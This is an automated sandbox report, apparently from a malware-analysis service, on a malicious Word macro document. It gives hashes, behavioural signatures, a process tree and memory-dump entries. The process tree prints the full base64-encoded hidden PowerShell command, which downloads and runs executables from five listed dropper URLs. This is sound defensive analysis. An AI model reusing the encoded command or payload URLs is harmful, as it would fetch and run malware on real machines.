Analysis
- max time kernel
133s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
- submitted
13/11/2024, 18:47
General
- Target edd432a10b8cda55d1e1620ae3b54112e5bea75317ac9528a37af76e394d985c.doc
- Size 181KB
- Sample241113-xfbfvsxeqn
- SHA256 edd432a10b8cda55d1e1620ae3b54112e5bea75317ac9528a37af76e394d985c
Malware Config
Extracted
-
ps1
-
exe.dropper
http://diwafashions.com/wp-admin/mqau6/
-
exe.dropper
http://designers.hotcom-web.com/ubkskw29clek/qnpm1p/
-
exe.dropper
http://dixartcontractors.com/cgi-bin/nnuv/
-
exe.dropper
http://diaspotv.info/wordpress/G/
-
exe.dropper
http://easyvisaoverseas.com/cgi-bin/v/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 3 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 8 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\edd432a10b8cda55d1e1620ae3b54112e5bea75317ac9528a37af76e394d985c.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
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-
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABWAGgAZAByAGkAZwBwAHQAeQA9ACcARwByAG4AcgBsAHYAagBnAHEAdwBpAGUAbAAnADsAJABRAGgAeQBtAGQAZAB0AHAAdQAgAD0AIAAnADgAOAAyACcAOwAkAFEAeQBmAHIAZgBhAHgAcABzAHAAeQA9ACcAQgBuAGIAbwByAGEAZwB6AGwAcgAnADsAJABLAGEAdABxAGgAcwByAGcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFEAaAB5AG0AZABkAHQAcAB1ACsAJwAuAGUAeABlACcAOwAkAE8AYQBqAG4AZAByAHUAbAByAD0AJwBTAHoAdABnAHUAeAB6AHcAdwBrAHUAbwAnADsAJABGAHUAegBqAGQAcwBnAHYAZQA9ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAYgBDAGwAaQBFAE4AVAA7ACQAVgB4AHkAegB5AHYAeQBzAGYAbQA9ACcAaAB0AHQAcAA6AC8ALwBkAGkAdwBhAGYAYQBzAGgAaQBvAG4AcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbQBxAGEAdQA2AC8AKgBoAHQAdABwADoALwAvAGQAZQBzAGkAZwBuAGUAcgBzAC4AaABvAHQAYwBvAG0ALQB3AGUAYgAuAGMAbwBtAC8AdQBiAGsAcwBrAHcAMgA5AGMAbABlAGsALwBxAG4AcABtADEAcAAvACoAaAB0AHQAcAA6AC8ALwBkAGkAeABhAHIAdABjAG8AbgB0AHIAYQBjAHQAbwByAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBuAG4AdQB2AC8AKgBoAHQAdABwADoALwAvAGQAaQBhAHMAcABvAHQAdgAuAGkAbgBmAG8ALwB3AG8AcgBkAHAAcgBlAHMAcwAvAEcALwAqAGgAdAB0AHAAOgAvAC8AZQBhAHMAeQB2AGkAcwBhAG8AdgBlAHIAcwBlAGEAcwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHYALwAnAC4AIgBzAFAAbABgAEkAVAAiACgAJwAqACcAKQA7ACQAUAB1AHcAcQBvAGYAZwBoAGwAPQAnAE4AYgBwAHgAZABuAHUAZAAnADsAZgBvAHIAZQBhAGMAaAAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAgAGkAbgAgACQAVgB4AHkAegB5AHYAeQBzAGYAbQApAHsAdAByAHkAewAkAEYAdQB6AGoAZABzAGcAdgBlAC4AIgBkAG8AdwBOAEwAbwBhAGQAYABGAGAASQBsAGUAIgAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAsACAAJABLAGEAdABxAGgAcwByAGcAKQA7ACQAUAB5AHUAbQBiAG0AdgBiAHYAdAA9ACcASABuAHgAeQB2AGMAcwBuACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQASwBhAHQAcQBoAHMAcgBnACkALgAiAGwAZQBuAGAAZwBUAGgAIgAgAC0AZwBlACAAMgA4ADQAMQAxACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAVABhAGAAUgBUACIAKAAkAEsAYQB0AHEAaABzAHIAZwApADsAJABHAGcAdwBqAHkAcwB4AHoAPQAnAFgAYQB2AGMAZABtAHMAbABnAHAAeAAnADsAYgByAGUAYQBrADsAJABVAGIAYQBmAHIAcwBrAGYAeQBiAD0AJwBHAGYAYwB4AGkAeQB1AGEAbQBqAG4AJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBwAGEAYwBlAHgAZQByAHUAYgBpAHgAbgA9ACcAQQBrAHoAeQB5AG8AeABoAHAAJwA=1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
CAD8863.wmf
iso690.xsl
__PSScriptPolicyTest_e2kflywu.lqk.ps1
fb3b0dbfee58fac8.customDestinations-ms
memory/4052-56-0x000001DD76C90000-0x000001DD76CB2000-memory.dmp
memory/4560-13-0x00007FFCC3850000-0x00007FFCC3A45000-memory.dmp
memory/4560-18-0x00007FFCC3850000-0x00007FFCC3A45000-memory.dmp
memory/4560-10-0x00007FFCC3850000-0x00007FFCC3A45000-memory.dmp
memory/4560-9-0x00007FFCC3850000-0x00007FFCC3A45000-memory.dmp
memory/4560-8-0x00007FFCC3850000-0x00007FFCC3A45000-memory.dmp
memory/4560-7-0x00007FFCC3850000-0x00007FFCC3A45000-memory.dmp
memory/4560-12-0x00007FFCC3850000-0x00007FFCC3A45000-memory.dmp
memory/4560-3-0x00007FFCC38ED000-0x00007FFCC38EE000-memory.dmp
memory/4560-15-0x00007FFC81480000-0x00007FFC81490000-memory.dmp
memory/4560-14-0x00007FFCC3850000-0x00007FFCC3A45000-memory.dmp
memory/4560-16-0x00007FFCC3850000-0x00007FFCC3A45000-memory.dmp
memory/4560-5-0x00007FFC838D0000-0x00007FFC838E0000-memory.dmp
memory/4560-19-0x00007FFC81480000-0x00007FFC81490000-memory.dmp
memory/4560-17-0x00007FFCC3850000-0x00007FFCC3A45000-memory.dmp
memory/4560-11-0x00007FFCC3850000-0x00007FFCC3A45000-memory.dmp
memory/4560-6-0x00007FFCC3850000-0x00007FFCC3A45000-memory.dmp
memory/4560-1-0x00007FFC838D0000-0x00007FFC838E0000-memory.dmp
memory/4560-0-0x00007FFC838D0000-0x00007FFC838E0000-memory.dmp
memory/4560-65-0x00007FFCC3850000-0x00007FFCC3A45000-memory.dmp
memory/4560-2-0x00007FFC838D0000-0x00007FFC838E0000-memory.dmp
memory/4560-4-0x00007FFC838D0000-0x00007FFC838E0000-memory.dmp